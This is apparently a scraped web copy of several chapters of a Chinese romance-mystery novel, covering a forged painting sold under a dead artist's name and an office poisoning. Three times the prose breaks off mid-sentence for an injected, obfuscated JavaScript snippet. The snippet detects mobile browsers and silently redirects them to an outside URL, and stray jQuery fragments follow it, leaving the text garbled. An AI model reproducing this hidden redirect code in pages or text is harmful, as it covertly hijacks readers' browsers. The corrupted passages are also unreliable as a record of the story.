“他喜欢那个男领导。”徐箴言又点开另一个工作微信群,“你看这几页消息。” 林菀越看越匪夷所思,忍不住皱眉,但皱完眉还是想再看一眼,“这个经理知道他男下属喜欢他么?” “就算以前不知道,现在肯定知道。”徐箴言指给她看,“你看他说的这几句话,挺暗示的,对吧?”他跟林菀认真探讨八卦。 “确实。”林菀严肃点头,突然看到一个西装革履的头像蹦出消息,“有个叫周豪的同事问你参不参加下周的歹徒抢劫银行大演练。” “不去,我要去企业。”徐箴言正在看一罐牛奶的生产日期,“你直接回复就行。今晚想吃什么荤菜?” 林菀啪啪打字,注意力全在微信上,“烤鸡。”她说完一愣,“你会吗?” “我可以会。” 徐箴言想起他去匈牙利旅游时,房东老太太做过一道特别好吃的烤鸡。他记得调料很少,家里唯缺一份甜椒粉。 “走吧,去买甜椒粉。”他拉着她离开冷柜,“最后去买冷鲜食材。” 林菀将手机还给他,开始认真跟他一起挑选要买的东西。等路过零食区时,他又停下来。 “给蕊蕊买零食?”林菀问。 徐箴言将一份巧克力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102846|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放进推车里,“给你买的。她才不吃,我姐管得严。” “我又不是小孩子。” “那我放回去了?”徐箴言故意重新拎起那份费列罗。 林菀不说话,但跺跺脚。 徐箴言笑得开心极了,又拿了一罐开心果放进推车。 林菀不自然地咳嗽两声,一手拽住徐箴言的手,一手也推着车栏杆。走过几排货架,她突然轻轻地问,“有没有想过,你在另外一个世界会是什么样的人?” “另外一个世界?” “就比如说……换一种生活。你不在投行工作,我也不是小提琴家。”她心头突然微微发颤,期待但又试探地凝视着他的侧脸。 徐箴言认真思考,最终说道:“想象不出来。” “那你想做什么呢?” “想让你尽快回忆起以前的一切。”他说,“你除了不记得我,其他都没忘,对吧?” “……”林菀突然忘言。她该怎么回答?说对的话,对徐箴言太残忍。说不对的话,他势必要继续问下去。 而徐箴言,是否准备好了面对一个小提琴水平才勉强达到中级水平的林菀? “哎,你们怎么回事?”斜刺里突然出现一个声音,“手给我撒开!” 涂淼拎着满是柠檬的购物篮,气势汹汹冲过来将二人掰开。 “好家伙,被我现场抓包。婚外恋是吧?你对得起你老婆吗?”涂淼先质问徐箴言,然后质问林菀,“还有你,你想想你自己是什么身份,有没有谈恋爱的资格!” 林菀傻眼了。由于之前结婚就瞒着涂淼,所以现在要告诉她徐箴言就是林菀那神秘的丈夫,便显得异常艰难。她原想着是请涂淼大餐一顿,趁着对方心情好的时候说的。 徐箴言还是把林菀拉到他身后,“不好意思,涂淼。其实我是——” “你还躲是吧,出来!”涂淼将林菀揪出来,“走,跟我回去!”她认真地告诉徐箴言,“这件事不光会伤害到你们夫妻俩,还会伤害到林菀自己。我必须得帮她。” “不不不,”林菀既心虚又愧疚,“你听我说,我也是昨天晚上才发现的,徐箴言是我对象。”她着重强调了她是刚刚才发现。 “蒙谁呢?”涂淼压根不信。 “回家我就把结婚证拍照发给你。”徐箴言迅速说。 “……”涂淼皱着眉来回打量二人,就是不说话。 “我就是怕你生气才没立即告诉你。我还在想办法要怎么跟你说,没想到你也在这个超市。”林菀诚恳地说。 “这都是我的错。先瞒着林菀,到现在才让她知道。现在又瞒着你,担心你会没法接受。”徐箴言说,“对不起,涂淼。很抱歉在这种情况下,第一次以她的爱人身份跟你见面。但我们的初衷都不是坏的。就是当你是最好的朋友,才出此下策。这其中有原因。” “你们俩真的是……蒙我蒙得问题太多了!”涂淼还是气愤,可一见到有其他人经过,徐箴言下意识搂住林菀肩膀,她便痛苦地扭头,“我的天哪,别在我面前你侬我侬,太奇怪了!” 这种感觉就像,一直陪伴自己的两个毛绒娃娃,不知不觉间竟然有了性别还拜堂了。 30. 晚上见 作为彼此最好的朋友,林菀清楚涂淼肯定会包容她。但要涂淼接受林菀的丈夫是徐箴言这回事儿,还是得花一些时间。所以当涂淼说要回去一个人静静的时候,林菀没有拦住她。只是在当晚,她给涂淼发了长长的一篇小作文,讲清楚自己是什么发现丈夫是谁,重点解释了徐箴言为何隐瞒到现在的原因。 最后林菀还保证,就算多了个徐箴言,也不会影响她俩之间的友谊。但涂淼当晚没有动静。为什么不回消息呢? 要不然给涂淼买个礼物?眼前这瓶香水挺好的,不知道她会不会喜欢。 “Nora你想什么呢?”Maggie突然喊她,“我涂的口红颜色好看么?” 林菀这才回神,“挺好看的。不过搭配你今天的造型显得素了点。” 此刻,她已经身处现实世界。午饭过后大家一起回公司,经过商场一楼的丝芙兰时看到促销活动便进去逛逛。 时间还早,而且谭姿今天上午调休不在公司,所以大家不急于回办公室。 林菀从货架上抽出香水瓶,问销售员,“这款香水五年前有吗?” 销售员一愣,“这是最新款。如果要找经典款的话,这个怎么样?一直卖得很好。”她抽出来另一瓶。 林菀一听这款香水五年前没有便将瓶子放回去,笑着摇头,“不了,谢谢。” 她又浏览着货架,忍不住打量镜子里的自己,整理一下刘海,将耳边的头发拉松一些。怎么处理丸子头会显得随意又好看呢?待会在网上搜搜。嗯,最近熬夜多,黑眼圈挺明显,哪一款眼霜去黑眼圈效果比较好?对了,要不要也买只口红啊?还有睫毛膏。可是这边买的又不能带去那个世界……要逛也应该是去到那边后,再逛五年前的商场买东西。 “别整了,你这发型挺好看。”Maggie在旁边抹卸妆水卸口红,一看就明了,“谈恋爱了?” “啊?”林菀惊得瞬间回头。她的震惊在于Maggie怎么猜得出来,而Maggie则以为林菀震惊是由于自己猜得过于离谱。 “瞧你满面春风地照镜子,发生了什么好事?不会是谭姐给你加薪了吧?” 在店门口靠墙玩手机的曹磊一听加薪二字就立马跑过来,“谁加薪了?” “没有,你听Maggie乱说。”林菀假意瞪了Maggie一眼。 “谭姐以前还时不时跟我们一起吃饭——虽说我不喜欢跟领导一起吃饭吧——可她现在都从家带饭了,有点奇怪。”Maggie说。毕竟对于领导来说,吃饭也是重要的工作社交场合。 “谭姐最近好像胖了点。难怪都说外卖不健康,家里伙食好呢。”曹磊说。 林菀听着他们的聊天,没有参与。她只是在看自己跟Maggie的聊天记录。Maggie喜欢发各种可爱的表情包,林菀一个个浏览过去,看到喜欢的就收藏,然后去网上按图索骥,看这表情包五年前有没有。有的话,她就要……给徐箴言发。 …… 再次重返梦中世界,林菀看到手机上有两个未接电话,微信里有徐箴言的留言——“结束练琴就告诉我”。 “喂?”她不等走出地铁站就给徐箴言打电话,那边很快就通了。“这个点儿你还没睡?” “我才下班。”徐箴言说,“想吃罗记的生巧吗?我给你拿来。” 罗记是隔壁省城的老牌点心店,今年新出的生巧特别火。但从莱城过去,起码得三个小时路程。 “我今天出差,路过罗记给你买了两盒。”徐箴言继续说。他在开车,已经路过繁寓路,但调转车头又回来。 “还是别过来了。太晚,你还要休息。”林菀说。 “没事,我顺路。等我五分钟。” 五分钟?!林菀心里咯噔一下,撒腿就往家跑。四分钟后,她气喘吁吁回到家,开灯扒拉开窗帘就看到徐箴言的车停到楼下。 紧接着电话又响起,是他叫她下楼。林菀喝了口水缓一下,转身出门,但又思考了几秒,扭身回来丢下包,只拿着手机出去。 夜风里,徐箴言拎着两盒生巧,站在车门口。 林菀开心地从电梯出来,旋即就被他拉入怀中,稳稳地抱了一下。“今天出差的时候,好想你。” “那现在呢?”林菀趴在他怀里问。 “现在更想。”他用鼻尖触碰她的鼻尖,凉凉的。然后他轻声说道:“练琴辛苦了。” “……”林菀咬着嘴唇,清楚他一直以为她不接电话就是在练琴。“你工作到半夜还过来一趟更辛苦。” “成年人约会不都是下班后么。”他说,“我下午路过一个有趣的书店,想着如果你也在那里就好了。” “那我们下次一起去。” 有邻居半夜拖着行李箱回来,林菀迅速从徐箴言怀里退出来,尴尬地左看右看。等邻居一步三回头地上电梯,她才又问,“要不要上楼喝口水?” 她说的是喝口水,而不是留宿。徐箴言将生巧交到她手里,慢条斯理地说道:“虽然我一直很能忍,但你也不要高估我的定力。” 林菀的脸腾地红了。 徐箴言忍不住捏了捏她的脸蛋,“明晚见。” …… 然而第二天,林菀却抽不开时间。她要上午练琴,下午去找涂淼缝合友情,晚上则要带艺考生商皓宸学习。倘若要见面也只有等徐箴言深夜相见。 不过涂淼忙于她的商务楼装修大工程,跟包工头开会,一时竟抽不开时间。于是林菀将商皓宸的课程提到下午。地点就定在她家的琴房。 林菀再一次见到了那个少年。这一次,他穿着简单的白T恤和黑色短裤,项链、耳骨钉都不见了。但表情依旧是高冷的,不苟言笑的样子。而且照顾他的二舅姨没来。 “下午好,皓宸。”林菀向他介绍自己的助理,“这是麦柯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102847|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的助理。待会他会给你按需讲解,我在旁边监督。” 由于有林菀事先铺垫,麦柯没有表现出惊讶,很热情地打招呼。 商皓宸保持着礼貌。他的心跳依旧有些快,控制着自己的手不要颤抖,然后将手机递给林菀。手机备忘录上写着两个字——“你好。” 林菀笑着点点头,带着大家一起去琴房。 商皓宸跟在最后,他悄悄地攥紧了衣角,想要擦掉手心里因为紧张而出现的汗渍。 “你最近在练什么曲子?演奏给我们听听吧。”林菀拉开窗帘,任灿烂的阳光照射进来。 商皓宸打量着简洁的琴房,专门做了隔音的墙壁,还有角落里的钢琴。他更多的目光落在林菀身上。然而等她回头,他便飞速挪开眼神,打字回复她的问题。 “贝多芬《D大调小提琴协奏曲》,”麦柯笑了,“姐姐,这不就是你的经典曲目么?” 他的笑容立即吸引了商皓宸的目光。 面对商皓宸似乎不太友好的打量,麦柯讪讪地收了笑容。 自打进屋,商皓宸就一直绷着脸,他拎出自己的小提琴,浅浅地调整呼吸,然后开始演奏。他的眼眸始终轻垂,没分一个眼神给旁人。 麦柯手里拿着个笔记本,忍不住也学着商皓宸的沟通方式,写了一句话示意林菀看——“他好高冷啊,面无表情的,是不是不想来上课。” 说实话林菀也有点怀疑,但商皓宸除了表情很冷酷,行为是配合的。 他认真地拉琴,认真地演奏完这首林菀的代表曲目。 结束后,林菀点头鼓励道:“很不错,基础牢固,指法娴熟,节奏把握很好。就是有些音色有点飘,这个问题好解决。” 商皓宸专心地听着林菀点评,一瞬不瞬地看着她。这可是光明正大盯着偶像看的机会。可是,他又忍不住在背地里擦了下手心的汗水。 麦柯生怕这臭脸小孩耍脾气,于是也附议地点头,没再多说。 “《引子与随想回旋曲》,我演奏时有几个不太连贯的地方。”商皓宸主动打字。 “那你来一遍。”林菀说。 “忘谱了,我先找谱子。你可以看这个。”他点开手机上一个自己拍的练习视频。 那是商皓宸自己在家拍的练习视频。 他站在客厅一样的房间里,对着琴谱架拉琴。而他的背后挂着一幅画。 一副画着月季的油画。 林菀猛地睁大了眼睛。 这不就是徐箴言画的盛放的加百列月季么?他在大师班丢失的那一幅画。他后来重新画了,此刻重新画的那一幅就挂在林菀的书房里。 而林珠莉说商氏夫妇最近花了一千万买下林乃岳一副失而复得的油画。 加百列……大师班……一千万……所谓加百列月季,其实是选取了西方一个天使的名字。那个叫加百列的天使,吹响了末日审判的号角。 31. 两幅画找不同 “姐姐、姐姐?”麦柯见林菀盯着视频仿佛神游太虚,只好起身拉拉她衣袖,“你还听他演奏吗?找到谱子了。” 林菀暗自回神,嗯了一声,“开始吧。” 待商皓宸开始专心演奏,林菀将手搁在膝盖上,竖拿他的手机,仿佛专心听曲子。可她的整个脑子依旧嗡嗡作响。她趁着另外两人不注意,用眼角余光看着屏幕,点开蓝牙,将那个视频传输到她自己的手机上。 她从未发现时间过得如此缓慢,又如此迅速。第一次传输停停顿顿,半路失败。而曲子已经结束。 “刚刚有个地方我没听清,”林菀起身翻谱子,“从这里重新开始。” 林菀一走近,商皓宸就不自觉僵硬了身体。待她又坐回去时,他才松了口气,拿起琴弓。 第二次蓝牙传输开始,进度慢慢从1%到20%……最后到98%…… 一曲结束,而视频还缺2%完成。一时间,练习室里很安静。 麦柯等着林菀说话,可瞧见她犹自沉思的模样,又忍不住提醒,“姐姐?” 林菀抬眸定了片刻,对商皓宸说道:“两首曲子演奏完,你感觉如何?我想看看你对自己的评价。”她将麦柯手里的纸笔递过去。 终于,在商皓宸埋头写字时,视频传输结束。 林菀迅速点进商皓宸的手机设置,关掉蓝牙,清除传输记录。她暗暗松了口气,将手机放到桌上。 商皓宸将纸笔重新递过来。林菀看到的那一瞬间有些惊讶——他的字非常好,写得一手漂亮的小楷,看得出来是下苦功夫练过的。 商皓宸终于忍不住开心地弯了下唇角。这笑容清浅,没有被林菀和麦柯注意到。 而林菀长久地注视着他写的内容,又让商皓宸悬起了一颗心。 林菀没有说话,是因为她发现商皓宸跟她料想的很不一样。作为知名收藏家夫妇的独子,商皓宸是标准的富二代。纵然父母都在国外,但他有亲戚专门照顾,而不是保姆。他没有选择普通高考道路,而是学习艺术。虽然不知他是否会申请国外的学校,但显然家里对他的成长要求是相对宽松的。在某种程度上,林菀觉得他学琴也就是学个好玩。 此外,从外表看,他是养尊处优的样子,但很是高冷,乍看有些傲慢。考虑到他不会说话,林菀认为这是他的保护色。 然而从商皓宸写下的内容看,他的内心很认真,很谦虚。 他仔细地描述了自己的水平,尚且青涩稚嫩。但为了更好地表现音乐,他了解过作曲家本人想要阐释的感情。最后他提到了他的目标,那就是努力朝林菀靠近,学习她,模仿她,像她一样能跟着节拍收紧松开,演奏出心里的声音。 林菀看了一遍又一遍。作为工作之后才重新拿起琴弓的练习者,她深深地理解他的心态甚至很有同感。她何尝不是在努力靠近身为莱音首席的林菀? 静默些许,林菀抬头对他一笑,“加油。”她顿了顿,“我们一起加油。” 她第一次看到商皓宸的表情有了松动,他眼中的雀跃昭然。 “字不错啊。”麦柯好奇地探头看商皓宸写了什么,“除了学琴,你竟然还能挤出时间练字。” 商皓宸告诉他们——“我主要在家学习。” “你不去学校?”林菀问。 “去过特殊学校,也去过普通学校,但都只去半天,剩下时间在家学习。”他的父母为他花高价请了家教,都是特级教师。 林菀心里琢磨着,商氏父母肯定考虑到儿子先天不足的失语症,担心他在学校被歧视被欺负,所以才主要让他在家学习。商皓宸的性格也不阴郁,被保护得非常好。 “那除了书法和小提琴,你还会什么?”林菀笑着揣测,“油画?”她开始进入正题。 商皓宸轻轻摇头。 麦柯插嘴道:“姐姐,哪个艺考生能同时肝美术和音乐啊?” “他父母很喜欢油画。”林菀的眼神还是朝向商皓宸,“我还以为他们会建议你学美术。对了,他们收藏哪些画家的作品?” “我只喜欢小提琴。不过他们的确收藏油画,比如像祁筑庭、翁寒的油画。他们最喜欢的是林乃岳画家的油画。” “我看到你视频里,墙上挂着一幅月季油画,”林菀笑着,“那是我父亲的吧?” “对,前几天才买回来。” 一看到这几行字,林菀心中瞬间轰然震颤,但面上依旧没有表现出来,她只是朝商皓宸微笑了一下。 …… 两个小时的学习结束,商皓宸和麦柯同时离开。此时已经夕阳西下,橘色的云霞笼罩了整个城市。 司机开车等在小区门口,可商皓宸只是将小提琴盒放进去,然后从后备箱取出自己的折叠自行车。他要骑车回去。 迎着灿烂的晚霞,风从他的发际掠过,从他的T恤衫吹过,让他的心也迎风摇曳起来。 想起林菀的笑容,他蹬车的速度越来越快,直到骑行上大桥。他感觉自己快乐得仿佛要飞起来。 她说,加油,我们一起加油。 商皓宸无声地冲着波光粼粼的河流呐喊着,心中突生一股激动的情绪,就如同这水波一样晃动起伏,奔流不歇。这情绪让他感受到前所未有的精神共鸣,化作飞鸟在高空盘旋。 这夕阳,在他眼中就如同朝阳一样美丽蓬勃,一样富有生命力。 …… 同一时间,林菀在门口送别二人后,拿着手机头也不回地进了书房。 她将视频截图放大,然后就站在画前仔细对比,仿佛现实版找不同点的游戏。 徐箴言的画和商皓宸家里那幅画有什么相同点?又有什么不同点? 首先,两幅画都描绘了夜色下的加百列月季。天空与月季丛的角度、比例、结构完全相同,乃至细节到画刀产生的棱角痕迹都一模一样。远看,它们就是一模一样的画。 但其次,徐箴言这幅画的花丛要松散一些,留白较多,意境含蓄。可商皓宸家的那幅画,多了三朵花苞,多了好几个枝条,多了天空中的星星。画面更加饱满。 最大的不同是花的颜色。加百列是淡紫色的花朵,色调清冷。而商皓宸家这幅画里的花心则是淡蓝色。 这到底……是怎么一回事? 这时,她的手机突然弹出涂淼的电话。 “喂,你说请我吃饭的,就现在吧。”涂淼在那边说,“我晚上还得接着忙。你把徐箴言叫上一起吃饭。” “现在吗?”林菀心不在焉,还盯着画。 “对啊,刚刚不是说了。” 林菀嗯了一声,她确实想赶紧见徐箴言。 于是乎,一个小时后,市中心一家热闹 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等到服务员将菜上齐,鸳鸯锅咕嘟咕嘟地冒泡,徐箴言才姗姗来迟。他推开门,一手拎着包,一手拎着两杯奶茶。 “你——”林菀一时惊讶。 徐箴言将一杯奶昔放到她面前,另一杯递给涂淼。他知道林菀也喜欢那家店的白桃乌龙奶昔,这闺蜜俩的口味一样。 “你不是没经过人民广场么?”涂淼问。 “嗯。”徐箴言笑着坐到林菀身边,脱下外套。不经过又不妨碍他掉头去买,“我来烫肉,你们先吃。” “下雪花牛肉。”涂淼递盘子过来,“谢谢哦。” “你想吃什么?”林菀拿起手机打算继续点菜。 “你们点的也是我喜欢的。”徐箴言将衬衣袖子卷起来,拿起公筷,“我在楼下看到最近上映的电影海报,想去看夜场电影吗?”他问的是林菀,知道涂淼晚上还得工作。如果要看就得尽快买票。 “你是说《奇怪的云朵》吧?我不看,这个电影剧组妆造是我的竞争对手。”涂淼插嘴,“换一个电影。” “……你晚上不是要忙吗?”徐箴言问。 “既然你喊我看电影,那我还是得配合一下咯。” 徐箴言思考了一下自己哪一句话让涂淼有了这个美丽的误会。但他思考不出来答案。 “我晚上有点事,就不看电影了。待会你送我回去吧。”林菀说。她必须得把自己的发现告诉徐箴言。 “行。”徐箴言以为她要回去练琴,“下次找个周末,一起开车出去走走散心。” “那你得提前通知我啊。我最近好忙。”涂淼寻求林菀的肯定,“对吧?忙得脚不沾地。” “确实。”林菀将一片烫好的牛肚夹到一直忙活布菜的徐箴言碗里。 “不过想一想真的好棒。我们三个人可以一起出去旅游!” “……”徐箴言再次陷入沉思。他仔细盯着林菀侧脸,发现她似乎没注意到这对话有什么不对劲。 “对了,咱们好像没有群吧。我来拉个群。”涂淼说着拿起手机建微信群。 “……”徐箴言继续沉思。他突然之间觉得以前隐婚,涂淼啥也不知道的时候挺好的,有点让人怀念。 32. 瓢虫的秘密 “慢点。” 闻言,林菀还是没缓下来步伐,迅速将徐箴言拽进书房。 徐箴言以为林菀喊他进门是有什么其他事情,结果是要他上来看画,顿时不禁有点失望地挑眉。 “我有重要事情告诉你。”林菀将ipad拿出来,这样看视频比手机清晰。“前两天跟你说过,我现在带了一个艺考生。他是一对收藏家夫妇的孩子。你看他背后这幅画。” 剩下的,便无需多言了。 徐箴言接过ipad,站在他自己的加百列月季油画面前,先是错愕,然后难以置信地沉默。 安静的书房里,只听得商皓宸反反复复演奏的背景音乐。 “他父母前不久花了整整一千万人民币——买了一幅我父亲失踪很久才找到的画,就是视频里这一幅。” 听到这幅画被认定为林乃岳失而复得的旧画且价值一千万人民币,他终于眉头一拧。 “我画这幅画是因为你当时在养加百列。”他看向林菀,“加百列是2008年才被培育出来的月季品种。”如果视频里这幅画是林乃岳的真迹,就意味着它已经存在二十多年。 “不过艺术是再创造。你也可以说他二十多年前就别出心裁画出紫色的月季。后人培育出来是巧合。”徐箴言将ipad递给林菀“但是,我画画时不小心将一滴红色颜料掉在一片叶子上。后来索性将那里画成一只四星瓢虫。”后来,他因为觉得这只瓢虫很能展现蓬勃生机,便在重新画时也添加进去。 林菀果然在墙壁上的油画中右下角找到一颗红黑相间的瓢虫。她立即看视频,“这里也有一个红点。” 如果是巧合雷同,那么不至于连瓢虫这种细节都一致。如果是刻意模仿,那也不至于连徐箴言习惯的落笔痕迹都几乎一样……有这种水平的画艺何必还模仿? “这就是你在大师班丢的那一幅画。”林菀毫不犹豫地肯定,“拿到这幅画的人重新添了些花叶,改掉花朵颜色,当成林乃岳的画卖给商氏夫妇。”而林乃岳已经去世,所以就算对绘画内容有疑问也无从考证。 徐箴言注意到林菀直呼她自己父亲的名字,这有些微妙。但他眼下没有说什么,而是问道:“你怀疑大师班?前任经理?” “绝对是他。你在大师班丢了多少幅画?” “不好说。在那边画的油画,不管是练习还是创作,我都没带走。” 绘画对徐箴言而言只是业余爱好。他不关注艺术品买卖。就算之前毛拉说有客人主动出高价,他也没有兴趣。似乎,正是这份不在乎才让别有用心之人钻了空子。 但的确没有人会料到他的画冠上林乃岳的名字,竟然会给林乃岳创造出历史新价格。 “你……还好吗?”林菀关切地握住他的胳膊。徐箴言的脸上看不出什么情绪,这更让她担心。 良久,徐箴言才缓缓说道:“我没料到这么昂贵。”他眼波微动,但还是冷静沉思,“你有那个经理的联系方式吗?”他想挖出到底是谁在做局,然后再作行动。 “没有,得去找我妈。”林菀有些焦虑,“她前不久才知道那个经理私下搞了多少油水,肯定当初也被蒙蔽了。你那些画说不定都被他冠以其他画家的名字卖出去了。” “等见到她再问。”徐箴言伸手抚平她的眉心,不愿让她多担心,“我跟你一起去。” 自林菀知道两人关系后,他还没有正式拜见过这位丈母娘。 …… 第二天中午,银行办公室。 大家从会议室出来已经过了饭点。食堂做好盒饭,分发到每个人座位上。 “我下午请好假了。”徐箴言坐下时还在跟林菀打电话,“待会过来接你,三点到。”他挂断电话,收拾着桌上的文件,一摸盒饭是温热的,也不好浪费,便拆开筷子。 “哎呀,卤鸡腿饭,还能吃。”对面的同事庆幸地说。 食堂一向做菜难吃,盒饭要不然是鸡腿饭,要不然就是牛排饭。牛排干巴巴没入味,总是跟嚼鞋垫似的。 徐箴言打开自己的盒饭,里面是牛排。 “有的吃就不错了。”徐箴言背后的男同事老杜啃着鸡腿,晃过来在他这桌子上拿抽纸,“反正比我老婆做的好吃。” 吃好饭,徐箴言将饭盒拿去扔掉,然后洗手用漱口水漱口,最后回来给实习生吩咐任务。 “老师,这个表格要什么时候填好?” “明天上班给我就成。”徐箴言拎起包,“还有不懂的就问杜老师——”他话音未落,就看到小苏脸色一变,尖叫出声。她怀里的文件哗啦散落一地。 徐箴言下意识回头,发现半个小时前还在他这边抽纸擦嘴的老杜晃晃荡荡地站起来,转过一张紫色的脸。 那是一张从额头到脖颈都出现诡异的蓝黑色斑块的人脸,斑块像地图一样画在脸上,扭曲而可怖。 办公室顿时乱成一团,同事纷纷尖叫起来往门口跑。 老杜的步伐仿佛喝醉了一般随时要跌到。他伸出手,似乎要求救。可就连他的手都是紫色的。 徐箴言差点被逃跑的其他同事撞倒。站稳后,他眼疾手快地抓住老杜的肩膀使劲将对方扶起来。可老杜突然抓起桌子上的剪刀挥了过来。 尖锐的剪刀堪堪擦过徐箴言额角,留下一道细微的血痕。徐箴言压根顾不上,抓起椅背上的外套试图裹住老杜的手,抢下剪刀。 然而老杜下一秒就拿着那把剪刀朝他自己的胳膊狠狠划过去,开始自残。徐箴言心下一寒,跳过椅子,趁着老杜不注意,从背后箍住了他的胳膊。 同事陈姐白着一张脸,还是勇敢地上前夺下那把剪刀。 血迅速从老杜的胳膊渗出,浸染到徐箴言的衬衫上。 老杜脚下一软,慢慢坐到地上。徐箴言感觉腰侧一片湿润,那里的白色衬衣布料已经被老杜的血染成了蓝紫色。 “醒醒,老杜!”徐箴言来不及多想,迅速跪下捂住老杜的胳膊,却发现从指缝溢出来的鲜血竟然也是蓝紫色。他立即回头大喊道:“打120!报警!” “他肯定是中毒——”隔壁的同事脸色一变,颤抖着指向桌上的盒饭,“盒饭有毒!”这一个上午,他们什么都没有吃,唯独中午吃了食堂的盒饭。 “操,我的胳膊也紫了!” …… 同一时刻,林珠莉的别墅。 林菀放下手机,徐箴言的手机还是接不通。 “他不来了?”林珠莉抱着胳膊问。 林菀抱歉一笑,“是我忘了,他下午有很重要的会议,没请到假。我让他先开会,有时间再过来。” 她仔细瞧着母亲的脸色。其实她刚刚告诉了林珠莉,女婿就是徐箴言。林珠莉被蒙了这么久,但知道了也只是嗯了一声。 “你不生气?”林菀问。 “我生什么气。以前跟你关系就不好,不跟我说也有道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102849|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理。而且这是你的人生。要怎么过,责任在于你,而不是我。我已经提醒过了。”林珠莉淡淡地说,“就算对方是徐箴言,我的态度也没有改变。” 她依旧反对林菀结婚。 “你刚刚都说很欣赏他。” “我欣赏的是以他的家境,他明明可以游手好闲地躺平,但依旧努力学习,认真工作。可欣赏是一回事,你结婚是另外一回事。”林珠莉平静地说道,“你从小的梦想就是成为顶级小提琴家。现在你做到了全国顶级,但还没到世界顶级。所以还有进步成长的空间。你还年轻,有梦想,有野心。那么进取与努力应该是你当下生活的重点,而不是早早被困在婚姻里。” 她顿了一下,“我相信你还没有发挥出自己的全部实力,我怎么能赞同你掉头去给一个男人打助攻?” “我没有。他有他的事业,我也有我的事业,我一直在努力。”林菀一字一句地说,“我是独立的人格,我没有依附他而存在。”而且徐箴言连做家务做饭都不让她插手,怎么可能要求她做他背后的女人? 林珠莉微笑着端起杯子,“等你做到这点再说吧。” “正因为我是这么做的,我才敢说出来。” “行吧,这个问题就不讨论了。”林珠莉翻着最近打官司的卷宗,“你找我还有什么事?” “大师班,我要前任经理的联系方式。” “刘经理啊,你找他做什么?”林珠莉翘起二郎腿。 “箴言画了很多画放在大师班那栋房子里,但都不见了。” “那是刘经理克扣了房子装修费。春天大雨,房子漏雨,把那个屋子里所有的画都泡坏了。不光有徐箴言的画,还有其他人的,都被他悄悄扔掉了。”林珠莉本来要将他送进监狱,但看在他找出那幅老画卖出一千万的价格上,选择和解。而且有时候想要用人,必须得从手指缝里漏出点好处,让对方张大嘴巴接住。 “那商皓宸家新买的画儿,从哪里找出来的?” “都说了是从他写生的农家找出来的,有三十年了。以前没人知道还有那张画。” 所以,压根不是失而复得,那幅画就是凭空冒出来的,号称是三十年前的老画。林菀忍不住问:“你到底有没有管理过林乃岳基金会?” “我一向让职业经理人打理。”林珠莉说,“我的本职是律师。”她很分得清楚主次关系,而请职业经理人是最正确也最普遍的做法。 “那为何还要创办这个基金会?” “这件事不需要理由吧?我身为林乃岳画家的遗孀,为什么不能以他的名号创办基金会?又不犯法。肯定是有回报的……我这个人最不会被道德绑架。”林珠莉优雅地放下咖啡杯。 林菀静静看着她。是啊,还需要什么理由呢?再不济,在另一个世界里林乃岳杀了林珠莉,这就是她利用林乃岳名号赚钱的理由。 林菀朝母亲伸出手,“手机给我。” “做什么?” “你让我道德绑架一次吧。”林菀将自己的手机号设置为她的紧急联络人,“有事一定要给我打电话。”她又补充道:“如果我没接,就是在练琴。”林珠莉处于风口中央,她是最危险的。 “你每天练多长时间?”林珠莉问。 “比你想象的时间长。”林菀说。 阳光斜斜照射下来,她脖颈侧面的红色印子异常清晰。那是小提琴反复摩擦留下的茧痕,俗称“琴吻”。 33. 徐雯的秘密 除了单位体检,徐箴言还从没跟如此多的同事挤在医院。 急诊大厅,他在自动售货机买水回来分给大家。而他的外套已经脱下来垫在地上给几个年纪大的同事坐。 “检查结果出来了。”医生拿着一摞单子走出来,她是一个同事的老婆,“你们都没问题。” “啊?可我这青紫一片啊医生。”一个男同事连忙爬起来。 “你那是在桌角撞的,跟中毒没关系。”医生分发单子,瞧见徐箴言过来帮忙便递给他一摞。 徐箴言注意到还在急救室门口跟医生交涉的警察,“那老杜是怎么回事?”老杜还在急救中。 “他是亚硝酸盐急性中毒。”医生说,“这种东西三克就致命。” 徐箴言不禁蹙眉。他知道亚硝酸盐是什么。腌熏肉和隔夜菜都有亚硝酸盐。有些不良商家还会拿亚硝酸盐当肉类保鲜剂使用。吃这些东西可能导致慢性中毒,但老杜是急性中毒,以至于全身紫绀、情绪暴躁、头晕恶心。难不成真是银行食堂有问题?可他们怎么会使用大量亚硝酸盐?而且看来只有老杜那一份盒饭有毒。 “他肯定是得罪客户了……”有同事悄声说。 这时,门口有声音传来,“箴言,有人找。” 徐箴言一扭头,发现竟是许久不见的庞涛。 “小王说要给你拿包过来。我看顺路就给你捎过来。”庞涛将一个电脑包递过来,“老杜出什么事了?群里传得沸沸扬扬。” 